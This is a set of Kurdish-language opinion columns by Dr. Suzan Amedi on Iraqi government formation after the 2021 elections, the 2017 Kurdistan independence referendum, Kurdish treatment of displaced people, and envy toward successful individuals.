ئهڤڕۆ ههڕ كهسهكێ سهحكهته سهرهدهریكرنا سیاسی یێ كوردی ب دهسههلات و گهل ڤه و سهردهریكرنا وان یا مرۆڤایهتى ل گهل ئاوارهیێن عهڕهب و پێكهاتهێن ئیراقی یێن دیتر و تهنانهت پێكهاتێن سووریا ژى، ئاماژهیهكا ڕۆن بۆ ههلسوكهفتێ مرۆڤێ كورد ههیه، وهك حوكمهتا كوردستان كو ههمى ئهو خزمهتا د شیان دا بوو بۆ هاریكاریكرنا ئاوارهیان دابین كر، ژبلى شهڕێ پێشمهرگهى ل دژی تیرۆرێ و قوربانیدانا شههیدان، بۆ ڕزگاركرنا باژار و گوندێن ئاوارهیان ژ دهستێ داعشێ، بۆ هندێ ئهڤ ڕهفتاره ببیته بابهتێ سوپاسى و رێزگرتنا تهڤایا جیهانێ. ئهڤه ژى ڕهنگڤهدانا وى كولتوورى یه كو كوردان ههلگرتیه و چێژێ ژێ وهردهگرن ژ ڕوویێ قهبوولكرنا ئهوێن دی و پێكڤهژیانا ئاشتیانه ڤه ل گهل ههموو نهتهوهیان.
و/ئهڤرۆ
فراكسیۆنا (چارچووڤه) یا ئیرانى یا ژكاركهفتى
د.سۆزان ئامێدى
ههلبژارتنێن داویێ یێن ل مهها ئوكتۆبهرا 2021 هاتینهكرن. ب پێكئانینا فراكسیۆنهكێ ل ژێر ناڤێ “چارچووڤا ههماههنگیێ” هاته ئهنجامدان، حزب و ئالیێن لایهنگیرى ئیرانێ و ل بهرامبهر دا فراكسیۆنهكا دیتر ژ حزب و ئالیێن دیتر یێن نهتاگیر ژى هاته پێكئانین. ئهڤان ئاوایان و پێكهاتهیا سیاسى دیمهنهكێ گهلهكێ رۆهن دابوو ههر وهلاتیهكێ ئیراقى كو ئهو یێ ل بهرامبهر ململانهك و ههڤركیهكا سیاسى یا ب هێز، چونكو یان دڤێن رازى ببن ب ئیراقهكا تاگیر ڤه، یان ژى نشتیمانهك ب رامانهكا دیتر حوكمهتهكا ئیراقى یا گرێدایى سیاسهتا ئیرانێ یان حوكمهتهكا ئیراقى یا نشتیمانى، و ئهڤا داویێ نهیا ڤهقهتیایی یه ژ دهوروبهرى خوه، بهلێ پهیوهندیێن ههرێماتیك یێن باش ههنه بێى هندێ كو بهێلیت مایتێكرن د بریارێن وێ دا بهێنه كرن. ب راستى ژى ئهڤ ههڤركى و ململانه د ناڤبهرا دو قهبارهیان دا (چارچووڤهیێ ئیرانى و ههڤپهیمانا سێ ئالى) نهیا ههڤسهنگه، ژ بهر رهوشا سیاسى یا ههرێماتیك و یا نها كو ل دهڤهى ههیی. چونكو سهرهاى ئیرادهتا نشتیمانى یا گهلێ ئیراقى و ئۆمێدا وى كو ژ وى بارێ گران قورتال بیت یا تهبعیهتێ و رێڤهبرنا ژكاركهفتى یا حوحكمهتێن سازانیێ یێن پێشین و ئهڤهیه ئارمانجا فراكسیۆنا ههڤپهیمانیا سێ ئالى و پاشى سهركهفتنا وان د ههلبژارتنان دا و بدهستڤهئانینا وان بۆ هژمارهكا كورسیان یێن كو وان بهرههڤ دكهت بۆ پێكئانینا حوكمهتێ، لێ بهلێ ئهڤێ چهندێ چو مفایهك تێدا نینه ل بهرامبهر فراكسیۆنهكێ كو هێزا خوه خڕڤهكرى ژ سهرێ چهندین سالێن زالبوونا خوه یا دۆمدرێژ ل سهر دهستههلاتێ و كونترۆلا وێ ل سهر رێڤهبرن و ئیرادهتا ئیراقێ و شیانێن وێ و میلیشیاتهكا چهكدار ههیه ل گهل هاریكارى و پشتهڤانیكرنهكا ئیرانێ. گهلێ ئیراقى و هێزێن مللى بووینه قور بانى بهرژهوهندیێن ههرێماتی و نێڤدهولى ل دهڤهرێ، لێ چهندى گهل باوهریێ بینیت ب سهردێرێن (ابو القاسم الشابی) (إِژا الشعبُ یوماً أرادَ الحیاه فلا بد أن ێستجیب القدر ولا بد للیل أن ینجلی ولا بد للقیدِ أن ێنكسِر ) و ئهو رهوشا ههیى ل ههرێما كوردستانێ وهكو میناكهك. ب راستى تشتهكێ ب هێزتر ژ راستیێ نینه بهلێ دهما كو شهرعیهت دكهڤیته دهستێن زالمان ئێدى نهحهقى ب هێزتر دكهڤیت. چونكو ل گهل ههبوونا ئیرادهكا ب هێز یا گهلێ كوردستانى و خهباتا وى یا دوور و درێژ و بهردهوام، لێ دهستكهفتى و رهوشا ههییى یا نها نههاتینه دى دوور ژ ئیرادهتا نێڤدهولى چونكو گهلێن دهردهسهركرى یێن خهباتكهر و سهرهلدایى مافێن خوه بدهستڤه نائینیت، ب تنێ ههكه ل گهل بهرژهوهندیێن جڤاكا نێڤدهولى نهبیت رێكناكهڤن. ئهڤجا ته دڤێت چاوا بیت گهر گهلێن بێدهنگ بن. ئهڤه ژیوارهكێ نالهباره ب مخابنى ڤه. فراكسیۆنا (چارچووڤه) یا ئیرانى پێكئانینا حوكمهتێ تێكددهت و ناهێلیت بهێته كرن، ب رێیا زالبوونا وێ ل سهر دهستههلاتا دادوهیێ و ههرهشهكرنا ئاساییش و سهقامگیریا ئیراقێ ب رێیا كونترۆلكرنا وان ل سهر حهشدا شهعبی و میلیشیاتێن دهرڤهى قانوونێ و ل سهر ڤێ ئێكێ مه پێدڤى ب ههوهستهكێ ژدل ههیه ژ جڤاكا نێڤدهولى ل ههمبهرى ڤێ ئالۆزیا سیاسى و پشتهڤانیكرنا لایهنێن سهركهفتى د ههلبژارتنان دا.
و/ ئهڤرۆ
بگروڤهكێشێن سیاسى و ههلبژارتنا سهرۆك كۆمارى
د. سۆزان ئامێدى
پشتى كو هێزێن شیعى د ناڤ چارچووڤا ههماههنگی (الاگار التنسیقی) دا گههشتینه باوهریێ كو هێژا موقتهدا ئهلسهدهڕ یێ رژده ل سهر حوكمهتا پڕانیێ ئێدى یێن ل هندهك رێیان دگهرهن كو ئاستهنگ بكهڤنه بهر پێكئینانا حوكمهتێ بۆ بجهئینانا دو مهرهمێن سهرهكى:
یا ئێكێ ـ رۆخسینا دهلیڤهكا نوو بۆ دانوستاندنێ بۆ رازیكرنا هێژا موقتهدا سهرد.
دو: گههشتنا بریارهكا ئهنجامدانا ههلبژارتنێن نوو كو دادگهها فیدرال دهستنیشان بكهت.
ئهڤجا پشتى كو بهرههم سالح پێشكێشى دادگهها فیدرال هاتیهكرن داخواز كر ماددهیێ دهستوورى (70 ئێك) بهێته راڤهكرن یا تایبهت ب جڤینا ئێكێ ڤه بۆ دهنگدان ل سهر سهرۆكێ كۆمارى، ئهنجام بهرهڤاژى هزرا گهلهك ژ شرۆڤهكارێن قانوونى دهركهفت و ههر وهكو دادگههێ خواشتى سهقایێن سیاسى ئارام كهت ب وێ ئێكێ كو دهمهكێ بهرفرههتره بهێته دان بۆ دانوستاندنێن سیاسى د ناڤبهرا هێزێن ههڤڕكیێ دكهن، چونكو دادگههێ بهرههڤبوونا سێچارێكێن ئهندامێن جڤاتا نوونهران بۆ جڤینا ئێكى دهستنیشانكریه، ژبۆ تهمامكرنا نیسابێ و كو پڕانیا سێچارێكا ههمى سهرجهمێ پهرلهمانى ل جڤینا ئێكێ دا كو جڤینا ههلبژارتنا سهرۆك كۆمارى یا قانوونى بیت، ئهو چهندا بوویه ئهگهرێ بهختهوهریا كو هێزێن ((الاگار) یا ههماههنگیێ و ههڤپشكێن وان و ل بهرامبهر ژى ههڤپهیمانیا سێقۆلى (سهدرى و سیاده و دیمۆكراسى كوردستان) بێخیته بهرامبهر ئاریشهكێ وان نهچار بكهت لهس رازیكرنا ههژمارهكا دى ژ پهرلهمانتارن بۆ تهمامكرنا ههژمارا پێدڤى بۆ بهرههڤبوونێ ل جڤینا ئێكێ ویا ئهز هزر لێ دكهم ئهو پێدڤى ب 45 كورسیانه بۆ تمامكرنا ههژمارا پێدڤى ئهو ژى 220 ژ سهرجهمێ 329 و ل بهرامبهر ژى ئیتاڕ حزب و گرۆپێن دیتر ڤهدكێشیته خوه داكو ههژمارا وان زێده ببیت یاكو ئهڤرۆ گههشتیه 110 ئهو ژى پشتى رێككهفتنا ئێكهتی نشتیمانى كوردستان ل گهل وان و ههژماران وان 18 كورسینه و ئهڤا دوماهیێ ب رۆلێ خوه نهوهی نوو راز كری كو ههژمارا وان دبیته (8) پشتى كو ئێك ژ وان دهستێن خوه ژێ كێشاى. د راستى دا بهندێن دهستوورى تهحموللا راڤهكرنێن (تهئویلی) دكهت، لهورا مه گوه ل راڤهكرنێن جۆرو وجۆر دبیت و گهلهك جاران دهێته راڤهكرن ب گۆرهیى یا پێدڤى بۆ لایهنێن مهرهم پێ ههیى بهلێ ل ههر دۆرخهكى ههمى لایهنان چو پێچیبَنابیت ژبلى هندێ كو رێزێ بگرن و بریارێن دادگههێ قهبوول بكهن. د راستى دا ئهو ماوهیێ دهستوور راسپاردى كو سیه رۆژبن بۆ دهنگدانێ ل سهر سهرۆكاتیان و چو ئاماژهكرنهك بۆ تشتهكێ دیتر نهداینه ل دهمێ ههكه هات و بجهئانینێ شكهستن ئینا مینا مادهیێن دیتر ژ دهستوورى و ل سهر ڤێ ئێكێ مژار ههر دێ بۆ دادگهها فیدرالى هێته هێلان بۆ ڤهدیتنا چارهسهریهكا گونجای، ههر وهسا شكهستن هاته دى ژ بهر وان داوایێن هاتینه بهرزكرن ژلایێ بهرههم سالح ڤه بۆ دادگهها فیدرال ل دژى هوشیار زێبارى ل دۆر بادهكهكێ كو ژ پێش چهندین سالان ڤه بدووماهى هاتیه كو فهرمانهكا پێگیری ل سهر هاتیه ب راوهستاندنا پێرابوونێن ههلبژارتنان ب شێوهكى دهمكى حهتا ڤهبڕینا داوایان، زێدهبارى هندێ كو پهرلهمان ژى یێ تۆمهتباره د داویان دا. ل ڤێره پسیارهك دهێته پێش: ئهرێ پشتى وێ فهرمانا ویلایهتى دێ چ بیت؟ فهره دهمێ سهرۆكاتیكرنا كۆمارى ل رۆژا 9 شواتا 2022 بدووماهى بهێت و ههكه هات و بابهتێ سهرۆك كۆمارى نههاته ڤهبڕین، ئێدێ سهرۆكێ پهرلهمانى دێ پۆستێ سهرۆكاتیا كۆمارێ ژى برێڤهبهت. ب راستى ئاریشه یا گرێداى بجهئانینا نیسابا دهستوورى یا جڤینا ئێكێ یه چونكو ههڤپهیمانى بزاڤێ بۆ دكهت، ژلایێ خوه ڤه ((الاگار) بزاڤێ دكهت ئهڤ چهنده نههێته بجئهینان، بهلێ ئهڤا دووماهیێ شهنسێ وێ كێمتره ژ ههڤپهیمانیێ ئهو ژى چونكو ئیتاڕ قابله بۆ دابهش بوونێ یانكو ههڤپشكێن خوه بۆ وى بهێلیت، بهلێ ل دهمێ كو ئهڤه ئێكه نههێته روودان، ههڤپهیمان دمینیت د ههلوهستهكێ دودلى دا، چونكو ئیتاڕ دێ سێچارێكا ژكاركهفتى وهرگریت ل وى دهمى. ههژى گۆتنێ كو هێژا موقتهدا سهدر حهز ههیه بێگونههیا هێژا هوشیار زێبارى دیار بكهت، دا كو ئهو ئیحراج ل دهف نهمینیت، چونكو بهرى بۆیهران راكربوو دهمێ نههێلایی نوونهرێن وى ل جڤینا پهرلهمانى بهرههڤ ببن ل گهل زانینا وى یا پێشدهم كو ئهو یێ ل بهرامبهر ئاریشهیا بجهئینانا نیسابێ بۆ جڤینا ئێكێ، و بۆ جڤینا دویێ ژى ههڤپهیمانا سێقۆلى دكاریت سهركهفتنێ بدهستڤهبینیت دهربارهیى دهنگدانێ، بهلێ ب مهرجهكى كو نسیاب یا سێچارێكیا بهرههڤبوویان بیت. دوور نابینم كو الاگار یێ ئارام نابیت و دبیت پهنایێ ببهته بزاڤا چاككرنێ بیت ل گهل هندهك لایهنێن دیتر وهكو (المستقلین) یان ئهو لایهنێن ژ خهمیس جهنجهر ڤهبووین وهكو بزاڤهكێ بۆ ژكارخستنا پهرلهمانى و ههلبژارتنا سهرۆك كۆمارى یان دبیت دادگهها فیدرال وهربگرن ب بابهتهكێ دیتر بۆ ههمان مهرهمێ بۆ وهبهرهێنانا دهمێ دویێ پشتى بدووماهیهاتنا فهرمانا وهلائی، ئهڤجا الاگار مهرجداریێ دكهن ل سهر دووماهیئینانا دهمێن دهستوورى داكو بگههنه بریارا دووماهیێ بۆ دهستنیشانكرنا ههلبژارتنێن نوو یان بۆ بجهئینانا رازیكرنا هێژا موقتهدا سهدڕ ب رامانهكا دیتر بۆ (الاگار) خهم نینه كى ببیته سهرۆك كۆمار تهمهتى بجئینانا سازانێ، بۆ زانین ههڤپهیمان د بهردهوامن بۆ دهستنیشانكرنا وهزیران و ستافێ دیتر یێ حوكمهتێ. ژبیر نهكهین كو بزاڤێن قائانى یێن نهو ل گهل (الاگار) دبیت فایده نهكهن چونكو ههولێن پێشین شكهستن بدهستڤهئینان، ل دهمێ دو كهسان د ناڤ (الاگار) دا رهدكرین پشكداریێ ل گهل هێژا موقتهداى بكهن و مالكى ببیه سهرۆكێ ئیتاڕێ بیێ پشكداریكرن. ل ڤێره راستیهك ههیه دڤێت بهێته گۆتن كو ئهو راستى یێن ههیین، دێ بۆ ئیراقیان دیاركهن كو ههتا چو راده هێزێن (الاگار) گوهێ وان ل ئهنجامێن گیرۆبوونا پێكئینانا حوكمهتێ نینه، ههكه ب دروستى ب ئهنجامان ڕا نهگههن.
و/ ئهڤرۆ
سهركهفتنا خوه نهده ب حهژێكرنا خهلكهكى
د. سۆزان ئامێدى
ئهڤه گۆتاره مه ژ سهدهما بهربهلاڤبوونا دهریادهیهكا گهلهك بهفرهه نڤیسیه، كو بوویه جهێ مهترسیێ و بوویه گهفهك ل سهر پاشهرۆژا تاكى و جڤاكێ… سهركهفتن ب ساناهى بدهستڤه ناهێت رهنگه ژى مرۆڤ تووشى هنگاڤتن و شكهستنان ببیت، ههتا كو بۆ خوه بدهستڤه بینیت، ئهڤه چهنده ژى ل سهر چ دراوهستیت؟ كانێ تاك چهند یێ بهرههڤه و ئۆمێدا وى چیه، ب رامانهكا دى.. تاك پتر پێدڤى ب تێكۆشیان و خوهراگرى و زیرهكێ یه، دا كو بهرزببیت بهر ب ئارمانجا خوه یا وى دڤێت، بهلێ گهلهك جاران دوور نینه ههڤالان یان كهسوكاران و جاران ژى برایێن خوه ژدهست بدهت، و چهندى بلندبوونا وى زێدهتر لێ بهێت، هنده دێ ههست ب دووركهفتنا خهلكێ ل دهوروبهرى خوه كهت، ئهڤجا رهفتارێن وان دێ وى ئێشینن و دێ ههبوونا وان ژدهستدهت و ههست ب ڤالاهیهكێ كهت، بزاڤێ دكهت خوه نێزیكى وان بكهت، بهلێ دێ بینیت كو یێن سهرهدهریهكا ساڕوبار ل گهل دكهن و حهزژێكرنا وان ل بهرامبهر وى دێ ل كێمیێ دهت و دهمێ دخوازیت ل گهل وان باخڤیت، دێ بینیت ئهو حهز ناكهن، دێ پاشگوهئێخن بێ ئهگهر ل وى دهمى كو ئهو بزاڤێ دكهت خوه نێزكى وان بكهت، دێ كهیفخۆشیێ ل گهل وان كهت بهلێ ئهو دێ ژنهدل بهرسڤێ دهن و وێ كهیفخۆشیێ دێ ب خرابى خوه تێگههینن بۆ هندێ ئهوى رسوا بكهن، لهورا دێ مینیت حێبهتى و دێ ژ خوه پرسیت كانێ ئهگهرێن ڤێ گوهۆرینێ چنه، رهنگه ژى جارهكا دن قهستا وان بكهت بۆ پشتراستبوون كانێ ئهوى رۆژهكێ دلێ وان هێلا بیت یان رهفتارهكا نهدیار كربیت ل وان تێكدابیت، تهنانهت گهرسهدهمهكى بۆ وى ببینن ژى، دێ بینیت كو نه ل ئاستێ هندێ یه كو بگههیته ڤى رادهیێ یاخیبوونێ و كاردانهڤێ ل ههمبهرى وى، ئهڤجا ل ڤێره ههكه ئهو بشێته خوه و بێدهنگیێ بپارێزیت و ب حهكیمانه رهفتارێ ل گهل وان بكهت، دێ بینییت ئهو دبێدهنگن و ل سهر دووربوونا خوه و چاڤدێریكرنا خوه مینن.
ب راستى دهمهكێ درێژ ژ مرۆڤى دبهت ههتا كو ئاشكرا بكهت كو سهركهفتنا وى بوو ئهگهرێ ئهوێ ههمیێ، ئهڤه ههمى ژى چونكو ب سهر ڤى تشتى ههلنهبوویه و هزرا وێ چهندێ نهدكر د بنیات دا و یێ بهردهوامه ل سهر حهژێكرنا وان و ئهو خۆشهویستیا جاران ههیى، لهورا دێ پێ نهخۆش بیت و ئێدێ دێ بۆ وى بیته پسیار: بۆچى دهمێ ئهم بسهردكهڤین كهسێن عهزیز ژدهست ددهین؟! و بۆچى سهركهفتنا مه د ژیانێ دا خهلكێ مه یێ دهوروبهرى مه ژ دهستدهین؟! ئهرێ نهیا گرنگه پشكدارى بهختهوهریا وان ببین؟! دبیت ژى وى خهلهكى د ناڤ وان ههبن كو بیرهاتنێن كویر و دویر و جوان و شاد ههبن، مخابنیێ ب ژدهستدانا وان دبهت، بهلێ بۆ وى دیاردبیت كو ژدهستبهردانا سهركهفتنێ ب تنێ دێ حهژێكرنا وان بۆ وى ڤهگهرینیت!، ب رامانهكا رۆهنتر بێژین، سهركهفتنا وى كهربێن وان ڤهدكهت، بهلێ مرۆڤێ سهركهفتى رهنگه پتر ئۆمێد ههبن، ئهڤجا دێ جهختیێ ل سهر كارى كهت، بهلێ ئهڤه نابیته ئهگهر كو خوه بایهخ و هزركرنا پهیوهندیێن وى ل گهل دهورهربهران ژدهست بدهت، پێشوازیێ ل گوهۆرینێ بكهت و هیڤیان بۆ بهرههڤ بكهت بهلێ نهك ل سهر كیستێ كهسوكار و ههڤالێن وى. ههروهكو كهسێ سهركهفتى پێدڤیه ل سهر كو باجهیا سهركهفتنا خوه بدهت، ئهگهرێ سهرهكى ئهم دبینین ئهوه كو مه دیاركرى ژ رهفتارا دهوروبهران ل ههمبهرى تاكێ سهركهفتى كو ئهو ههستكرنا وانه ئهو ل ژێر ئاستێ وى دانه، لهورا دێ مۆرالێن وان نزم بن و تووره بن و ل دووماهیى خوه ژێ دوور ئێخن چو ب خشكۆكى یان ب دژیاتى، ههلبهت ژى ئهڤ گیانه ههر ژ بچووكاتیێ دهێته ئاڤاكرن، واته ل دهمێ پهروهردهكرنا تاكى ل ناڤ خێزانێ دا، زێدهبارى وێ پهیوهندیا د ناڤبهرا جڤاكێ و سیستهمێ سیاسى دا، ههستكرن ب غیرهتێ و حهسهدێ مژارهكا گهلهكا سروشتى یه و خوهزایى یه ل جهم مرۆڤى و دوور نینه ژى ههستكرن ب ستهمێ ژى بكهت، بهلێ دهمێ (كهرب و رهفتارا دژاتى) ل گهل ههبیت، هینگى پرسگرێك دێ بیته جهێ نهئارامیێ و پێدڤى ب پێداچوونهكێ د ناڤا خوه دا بكهت یان پێدڤى ب نۆشدارهكێ تایبهتمهند بیت، ئهم دكارین ژى ئهڤان دابهشى دویان بكهین:
ئێك: مهعنهوى و یا دویێ: ماددى ئهڤه ژى ههبوونا هندهك سالۆخهیان كانسل ناكهت ژ پشكا ئێكێ ل دهف پشكا دویێ و بهرهڤاژى و ههردو ژى د مهترسیدارن و دكارتێكهرن ل سهر پێشڤهچوونا تاكى و جڤاكێ ل گهل ههبوونا هندهك تشتێن جودا، و ل ڤێره دهلیڤا وێ چهندێ نینه كو ب بهرفرههى شرۆڤه بكهین.
یا گرنگه ژى ئهو دیاركهین كو ئهم كهسێ سهركهفتى دوور نائێخین ژ راكرنا بهرپرسیایێ ژ پهیداكرنا ڤان ههستێن ههڤدژیاتى دا ل دهف خهلكهكێ دى، لهورا ئهم شیرهت دكهین:
1ـ كو سهرێ وى گهرم نهبیت ب غرۆرێ و حهزێكرنا خوه. 2ـ قهنجیێ ژبیر نهكهت. 3ـ چهندى د شیان دا بیت هاریكاریا كهسێن پێدڤى هاریكاریێ بكهت.
و/ ئهڤرۆ
ههڤڕكیا مهزن ئهوه یا ل پشتى ئهرێكرنا ههلبژارتنان!
د. سۆزان ئامێدى
دهربارهیى ئهنجامێن ههلبژراتنێن پهرلهمانێ ئیراقێ یێن ل دههى چریا ئێكێ/ ئكتۆبهرێ و ئهرێكرنا دهرئهنجامان ل 27 كانوونا ئێكێ/ دیسهمبهرێ، وه دیاره دادگهها فیدرال دگهل هێزێن چارچۆڤێ ههماههنگیا ههردو ئالیان گونجایه كو؛ دژبهرى ژ تایبهتمهندیێن دادگهها فیدرال نینه و پائێخستنا ئهرێكرنێ ب تنێ دهرچوو دا پێكهاتنێن سیاسى د ناڤبهرا سهركهڤتى و نهسهركهڤتیێن دژبهر بهردهست بكت لێ؛ پێشنیارێن دادگهها فیدرال دهربارهیى هژمارتنا دهستى یا دهنگان پێش یا ئهلكترۆنى ڤه ژ پهرلهمانێ داهاتى ناگرت و لیژنهیا تایبهتمهندا نڤیسینا قانوونا ههلبژارتنان دهمێ میكانیزما ههلبژارتنان ژێدگرت دشێت سپاردن و پێشنیاران قهبوول كت یان رهت بكت، بلا ژبیرا مه نهچت ژى ههر قانوونهكا نووى یا ههلبژارتنان دڤێت پهرلهمان دانپێدانێ پێ بكت و پاشى سهرۆكێ كۆمارێ ل سهر رازهمهند بت.
پشتى گهنگهشیا درێژ یا چارچۆڤهیێ ههماههنگی و رهتكرنا دژبهریان و پاشى ئهرێكرنێ، ئهڤ پرسیاره خوه دئینت پێش: ئهرێ ئهم دێ هشیاربوونا پارتێن شیعیى بهرامبهر ئیرانێ بینن؟
ب راستى ئهڤه پرسگرێكهكا سروشیته كو یێ ب سهر نهكهڤتى ب ههلبژارتن و ئهنجامێن وێ رازى نهبت، ئهگهرێن ڤێ چهندێ ژى ل ئیراقێ بهرچاڤن؛ پرانیا ئالیێن سهرنهكهڤتى و ب تایبهت ئهوێن پێشتر د دهستههلاتا جێبهجێكرنێ دا تۆمهتباربووین و فایلێن گهندهلیێ ههین، ئهگهر ب سهرنهكهڤتن و پشكدارى حوكمرانیا حوكمهتا داهاتى نهبوون دێ ژ بهرپرسیارهتى و سزادانێ ترسن، ئهڤه ژى واتیا هندێ نادت كو چ فایلێن گهندهلیێ ل سهر یێن بسهركهتین یان پشكدارى حوكمهتا نووى دبن نینن، ئانكو ههمى حوكمهتێن ل دووڤ ئێكدا پشتى سالا 2003 هاتین نهههژى ب رێڤهبرنا دهولهتا ئیراقێ بوون، ژبهركو پرانیا سیاسیا شیعى ل سهر بریارێن جێبهجێكرنێ و قانووندانانێ زالبوون و ڤێ چهندێ هندهك ئالیێن پشكدار بهرامبهر دهنگدهرێن خوه ل شهرمێ دان بۆ نموونه وهكى پارتێن كوردستانێ.
ل گۆر كهتوارێ دهرئهنجامێن ههلبژارتن تێدا هاتین هژمارتن، ئهم دبینن سهركهڤتى و ئهوێن دشێن ببن پڕانی ل پهرلهمانى ژ رهوتا سهدرى نه و بزۆتنهوهیا پێشكهڤتیخوازن و دگهل پارتى دیمۆكراتى كوردستانێ نه، لێ تشتێ نهزهلال؛ ههتا چهندێ موقتهدا ئهلسهدر دێ ئالیێن شیعى یێن دى و پارتى دیمۆكراتى كوردستان پشكدار كهت، د دهمهكى دا پێكئینانا پرانیێ د پهرلهمانى دا ژ ئالیێ مالكى ژ سوحبهتێ دوورئێخستیه.
ههژیه بێژن؛ ههبوونا ئالیێن نوو د لڤینا مللى و سهربهخوهیان دا د ناڤا پهرلهمانێ داهاتى دا دێ تشتهك نوو و گوهۆڕینهكا بهرچاڤ بیت، زێدهبارى هندهك ئالیان پێكئینانا ئۆپزسیۆنێ د ناڤا پهرلهمانى دا راگههاندن كو دێ د ههمى سازیێن دهولهتێ دا بهرسینگێ گهندهلیێ گرن.
لێ ل ژێر رهشبینیا مللهتێ ئیراقێ ژ حوكمهتێن پێشتر كو رێژهیا پشكداریكرنێ ب تنێ 41% ژ سهدێ ڤێ رهشبینێ دسهلمینت، ئهم پرسیارهكى دكن: ئهرێ حوكمهتا نوو دێ سیستهمێ سیاسى و ئابۆرى و جڤاكى ل ژێر دستوور و قانوونان ئاراستهكهت؟
ل بیرهوهریا بۆرینا چار سالان ل سهر گشتپرسیێ
د. سۆزان ئامێدى
گشتپرسى پێرابۆنهكا دیمۆكراسى و سڤیل و شارستانى یه، وهكو دهربرینهك ژ ئیرادهیهكا مللى، حهز و خواستهكێن گهلێ كورد بۆ ئازادیێ دیاركریه ئهو ژى ب پشكداریكرنا 72.61 ژ گهلێ كوردستانى، و ئهنجامێن وێ ژى 92.7% ژ دهنگان بهلێ بۆ سهربهخوهیا ههرێما كوردستانێ بوو، كو ل دووماهیێ ئهنجامێن وێ بووینه بهلگهنامهیهكا فهرمى.
و پشتى بۆرینا چار سالان ل سهر سڕكرنا ئهنجامێن گشتپرسیێ ل ههرێما كوردستانێ، هێشتا ههرێم یا ژ وان ئهگهران دنالیت یێن كو بووینه ئهگهر ڤێ پێنگاڤێ بگریته بهر، و ل پێشیا وان ههمیان ژى نهرێزگرتنا دهستههلاتا بهغدا بۆ مادهیێن دهستوورێ ئیراقى یێ سالا 2005 كو هاتیه راستڤهكرن ب گۆرهیى بهرژهوهندیا ههمى پێكهاتێن ئیراقى، بهلێ دبینم كو سیستهمێ سیاسى یێ نوى ل بهغدایێ گهلهك ژ رژێما سهدامى جودا نینه بۆ سهرهدهریكرنا خوه ل گهل كوردان، چونكو پۆلتیكا پشتگوهكرنێ و دهرخستنێ د پتریا كاروبارێن دا كریه، بۆ میناك دهمێ ههرێما كوردستانێ رێژهیا خوه یا پێدڤى ژ بۆدجهیا ئیراقێ هاتیه بێبههركرن، بێبههركرنا كوردانل ناڤ سازیێن سهربازى دا، دویر ژ مادهیێن دهستوورى یێن پهیوهندیدار ب بادهكا كوردى ڤه و ب دورستى ژى مادهیى 140 ب تایبهتى، چونكو دهستههلات سهرهدهریكرنێ ل گهل دهڤهرێن ڤهقهتیایى ژ ههرێما كوردستانێ دكهت، كو مافهكه د ناڤ ڤى ماددهیێ دهستوورى دا یێ كو دبێژنێ (دهڤهرێن ناكۆكى لسهر) ب ههڤدوژیاتی، نهمازه دهستههلات رابوویه ب خڕڤهكرنا هێزێن لهشكرى ژ لهشكرى و میلیشیاتان و دویرخستنا پێشمهرگهى ژ ڤان ههمى دهڤهران و پاشى ئهنجامدانا گوهۆرینا دیمۆگرافى ل ناڤدا كو ببنه دهڤهرێن نهئارام، بهرههڤ بۆ خڕڤهبوونا كۆمێن تیرۆرست وهكو رێخستنا داعشێ و میلیشیاتێن لابهلا.
ئهڤرۆ ژى ل بیرهوهریا چارێ ژ گشتپرسیێ و ل گهل بهردهوامبوونا ههمان دهردهسهریێن گهلێ كوردستانى، بهلێ ئهم یێن چو ههلویستێن ههرێماتیك یان نێڤدهولى یێ پێچهوان نابینین، ل ههمبهرى ههلویستێ وان، ل دهمێ راگههاندن و پێرابوونا پرۆسا گشتپرسیێ دهمێ داخواز ژ حوكمهتا ههرێمێ كرین كو گشتپرسیێ ژكاربێخن و پهنایێ ببهنه دیالۆگێ ل گهل بهغدا. د راستى و ژیوار دا ههلویستێ جڤاكا نێڤدهولى جهێ سهرسۆرمانێ بوو ونهپهژراندنا جهماوهرێ كوردستانى، ژبهر كو ئهڤ دهولهتێن ههنێ فهربوو لسهر كو باوهریى ب ئالیهتا گهنگهشهیا مللى دئینیت، ب وێ رێكێ دشیان بۆچۆنێن وهلاتیان بزانن دهربارهیى كێشهیهكا تایبهت، كو بوو سهدهما هندێ ڤى ههلویستێ خوه بێخیته ههمبهر پرسیارا جادهیا كوردستانى: بۆچى جڤاكا دهولى ب دیمۆكراسیهتێ و مافێن مرۆڤى و بریارا ماڤێ چارهنڤیس و … هتد گازى دكهت، بهلێ ئهو د ژیوار دا دژایهتیا سادهترین مافان دكهن دهمێ بابهت گرێداى كوردان بیت!!.
نهتهوهیێن ئێكگرتى یێن كو بهرپرسیارا جڤاكا نێڤدهولى دكهن، دبینین كو ل بهرامبهر دهولهتێن ب هێز و یێن زال د بێچارهنه تێدا و ل ڤێره ئهم دكارین بێژین كو كورد پێدڤى ب ئاراستهكرنا رایا گشتی یا جیهانه ب رهنگهكێ پترى كاریگهرى ژ پێخهمهت پێگیریكرن یان ژى ب كێماتى پالدانا جڤاكێ دهولى بۆ وهرگرتنا بهرپرسیاریێ ل دهڤهرێن كوردان.
د ژیوار دا جڤاكا كوردستانى پشتى شهڕكرنا وى بۆ دژوارترین دیاردهیێن تاوانیێ و توندیێ كو ئهو ژى رێخراوا داعشا تیرۆرسته، هزر كر كو جیهانێ دێ ههلویستهكێ پشتهڤان ههبیت بۆ مافێن وان یێن رهوا، بهلێ پرانیا هێزێن جڤاكا نیڤدهولى حهزێن جهماوهرى بێئۆمێدكرن ب ههلویستێ خوه و سیمایهك ئافراند كو بها و پرهنسیێن مرۆڤایهتى و رێزگرتنا مافێن مرۆڤى یێن پێ دئاخڤن د راستى و د ژیوار دا چو بنهما بۆ نینن. بهلكو ئهڤ هێزێن ههنێ پهژراندیه كو ئهو تنێ دهربرینێ ژ بهرژهوهندیێن خوه دكهن و ههكه ژى هاتو ههلویستهكێ مرۆڤاتى ل دهف وان پهیدابوو، دێ تهمهت وێ ئێكێ بیت یاكو دێ خزمهتا بهرژهوهندیا ڤان وهلاتان بیت.
و/ ئهڤرۆ
پشكداریكرن د ههلبژارتنان دا و دهنگدانهكا ب هێز بۆ حزبا ب هێز ئهركهكێ نشتیمانى یه
د. سۆزان ئامێدى
